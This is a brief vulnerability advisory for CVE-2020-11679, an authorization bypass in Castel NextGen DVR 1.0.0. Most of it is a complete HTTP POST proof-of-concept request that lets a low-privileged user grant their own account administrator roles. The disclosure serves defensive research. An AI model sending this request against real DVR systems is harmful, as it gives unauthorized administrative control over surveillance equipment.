A Privilege Escalation, CVE-2020-11679, was identified on Castel NextGen DVR version 1.0.0 due to an Authorization Bypass that allows low privileged users to directly call functionality reserved for an Administrator.
- Issue Disclosed: 3 Jun 2020 - Blog post
A malicious user can craft a request which calls the functionality to modify the roles associated with their account, the request would be similar to:
POST /Administration/Users/Edit/:ID HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: $REVIEWER_COOKIES
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 349
UserId=:ID&Email=bypass%40test.com&FirstName=bypass&LastName=bypass&LDAPUser=false&Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false&Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false&Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false&Locked=false